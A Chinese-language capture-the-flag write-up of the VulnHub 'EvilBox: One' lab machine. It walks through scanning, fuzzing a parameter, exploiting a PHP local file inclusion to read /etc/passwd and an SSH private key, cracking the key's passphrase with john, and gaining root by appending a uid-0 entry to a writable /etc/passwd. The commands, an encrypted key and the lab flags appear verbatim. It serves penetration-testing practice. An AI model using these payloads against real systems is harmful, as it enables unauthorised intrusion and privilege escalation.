• 写写打靶记录。
  • 靶机地址:https://www.vulnhub.com/entry/evilbox-one,736/
  • Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。

信息收集

  • 由于将 Kali 与 VulnHub 使用 Virtual Box 仅主机网卡进行了桥接,所以使用 Kali 去扫描靶机。
  • 首先查看 Kali IP 地址:
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.114 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::adc5:106b:ff3c:9390 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a8:8a:0b txqueuelen 1000 (Ethernet)
RX packets 24 bytes 10921 (10.6 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 549 bytes 40698 (39.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
  • 扫描当前网段,发现靶机 IP 地址:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# arp-scan 192.168.56.0/24
WARNING: Could not obtain IP address for interface eth0. Using 0.0.0.0 for
the source address, which may not be what you want.
Either configure eth0 with an IP address, or manually specify the address
with the --arpspa option.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a8:8a:0b, IPv4: (none)
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:1b (Unknown: locally administered)
192.168.56.100 08:00:27:9a:2c:80 PCS Systemtechnik GmbH
192.168.56.111 08:00:27:6a:44:bf PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.980 seconds (129.29 hosts/sec). 3 responded
  • 继续使用 Nmap 扫描端口、开放服务等信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.56.111
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-12 08:59 EST
Nmap scan report for 192.168.56.111
Host is up (0.00099s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:6A:44:BF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.57 seconds

┌──(root㉿kali)-[~]
└─# nmap -p 22,80 -sV 192.168.56.111
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-12 08:59 EST
Nmap scan report for 192.168.56.111
Host is up (0.00071s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:6A:44:BF (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds
  • 扫描出 80 端口的 Web 服务,通常情况下不考虑 SSH 爆破,访问一下 Web 服务:

image-20230831003038728

目录扫描

  • 熟悉的界面,一看就知道需要目录扫描,使用 feroxbuster 扫一扫:
1
feroxbuster -u http://192.168.56.111

image-20230831003120228

  • 发现一个 secret 目录,递归扫一扫:
1
feroxbuster -u http://192.168.56.111/secret/

image-20230831003133734

  • 啥也没有,换 dirb 试试:
1
dirb http://192.168.56.111/secret/

image-20230831003143549

  • 还是没有,怀疑是字典的问题,换一个字典再试试:
    • 注:这里的字典是目录字典,不带后缀的,需要手动添加参数
1
feroxbuster -u http://192.168.56.111/secret/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x txt,php,html,jsp

image-20230831003151979

参数爆破

  • 发现一个 evil.php 的文件,访问一下看看:

image-20230831003159748

  • 结果页面啥也没有,怀疑可能存在有参数,但是不知道参数是什么,可以使用 BurpSuite 或者 ffuf 进行爆破,都尝试一下:
1
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -u http://192.168.56.111/secret/evil.php?PARAM=../index.html -fs 0

image-20230831003206671
image-20230831003219848
image-20230831003226765
image-20230831003232517

  • 感觉还是 BurpSuite 好用点。

文件包含

  • 根据利用形式,看着像个文件包含漏洞,试一试:
1
http://192.168.56.111/secret/evil.php?command=../../../../../etc/passwd

image-20230831003243419

  • 本地包含漏洞存在,看看远程文件包含漏洞行不行:
1
2
3
4
5
# kali 本地 1.txt 文件内容如下
<?php phpinfo();?>

# kali 本地开启 Web 服务
python3 -m http.server 80
  • firefox 上访问一下:

image-20230831003253867

  • 很白,啥也没有,远程文件包含看来不行。
  • 既然远程不行,那就接着本地,伪协议读一读 evil.php 文件:
1
http://192.168.56.111/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php

image-20230831003301764

  • 得到 base 编码的字符串,解密一下:
1
2
3
4
5
6
PD9waHAKICAgICRmaWxlbmFtZSA9ICRfR0VUWydjb21tYW5kJ107CiAgICBpbmNsdWRlKCRmaWxlbmFtZSk7Cj8+Cg==

<?php
$filename = $_GET['command'];
include($filename);
?>
  • 一个非常正常的文件包含。

SSH 爆破

  • 复盘一下刚刚的 passwd 文件内容:

image-20230831003311756

  • 发现一个 mowree 用户,那不是可以看看是否存在 ssh 密钥文件:
    • id_rsa : 私钥。
    • authorized_keys : 认证关键字文件。
    • id_rsa.pub : 公钥。
  • 该类文件通常存放在用户的家目录的 .ssh 目录下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQ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AHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----

# id_rsa.pub
空白

# authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAXfEfC22Bpq40UDZ8QXeuQa6EVJPmW6BjB4Ud/knShqQ86qCUatKaNlMfdpzKaagEBtlVUYwit68VH5xHV/QIcAzWi+FNw0SB2KTYvS514pkYj2mqrONdu1LQLvgXIqbmV7MPyE2AsGoQrOftpLKLJ8JToaIUCgYsVPHvs9Jy3fka+qLRHb0HjekPOuMiq19OeBeuGViaqILY+w9h19ebZelN8fJKW3mX4mkpM7eH4C46J0cmbK3ztkZuQ9e8Z14yAhcehde+sEHFKVcPS0WkHl61aTQoH/XTky8dHatCUucUATnwjDvUMgrVZ5cTjr4Q4YSvSRSIgpDP2lNNs1B7 mowree@EvilBoxOne

image-20230831003322659

  • 有私钥了,Kali 本地创建一个 id_rsa 文件尝试登录:
1
2
3
vim id_rsa
chmod 600 id_rsa
ssh -i id_rsa mowree@192.168.56.111

image-20230831003330447

  • 发现需要输入密码短语,淦。
  • 这样就需要 SSH 密码爆破了,使用 john 工具进行爆破:
1
2
3
4
5
# 用 ssh2john.py 把 id_rsa 改成 john 能识别的哈希
python3 /usr/share/john/ssh2john.py ./id_rsa > hash

# 使用 john 爆破一下
john hash --wordlist=/usr/share/rockyou.txt

image-20230831003337572

  • 爆破出密码为:unicorn,登录一下:

image-20230831003341057

  • 登录成功~,查找 flag:
1
2
mowree@EvilBoxOne:~$ cat user.txt 
56Rbp0soobpzWSVzKh9YOvzGLgtPZQ
  • 第一个 flag:56Rbp0soobpzWSVzKh9YOvzGLgtPZQ

passwd 文件写入

  • 普通权限还是不够,提个权。
  • 查看一下内核:
1
2
mowree@EvilBoxOne:/etc$ uname -a
Linux EvilBoxOne 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64 GNU/Linux
  • 好像也蛮高,没找到漏洞利用 CVE。
  • 在靶机上使用 wegt 下载一个 lse.sh 文件,进行一下信息收集(手动实在是太慢了):
1
2
3
wget http://192.168.56.114/lse.sh
chmod +x lse.sh
./lse.sh -i | more

image-20230831003358775

  • 发现 /etc/pass 文件可写,这个文件都能写,那么我们可以通过 openssl 修改 root 的密码。或者添加一个具有 root 用户的权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 使用基于 MD5 的 BSD 密码算法计算和加盐指定密码的哈希值,这里密码为 toor
openssl passwd -1 -salt toor

mowree@EvilBoxOne:/tmp$ openssl passwd -1 -salt toor
Password:
$1$toor$2SrtV0M1RHrAj9uQL5C7w/

# 编写一个具有 root 权限的字符串
toor:$1$toor$2SrtV0M1RHrAj9uQL5C7w/:0:0::/root:/bin/bash

# 将这个字符串添加到 /etc/passwd 的末尾
echo 'toor:$1$toor$2SrtV0M1RHrAj9uQL5C7w/:0:0::/root:/bin/bash' >> /etc/passwd

mowree@EvilBoxOne:/tmp$ echo 'toor:$1$toor$2SrtV0M1RHrAj9uQL5C7w/:0:0::/root:/bin/bash' >> /etc/passwd
mowree@EvilBoxOne:/tmp$ su toor
Contraseña:
root@EvilBoxOne:/tmp# id
uid=0(root) gid=0(root) grupos=0(root)
  • 查找第二个 flag:
1
2
3
4
5
root@EvilBoxOne:/tmp# cd /root
root@EvilBoxOne:~# ls
root.txt
root@EvilBoxOne:~# cat root.txt
36QtXfdJWvdC0VavlPIApUbDlqTsBM
  • 第二个 flag:36QtXfdJWvdC0VavlPIApUbDlqTsBM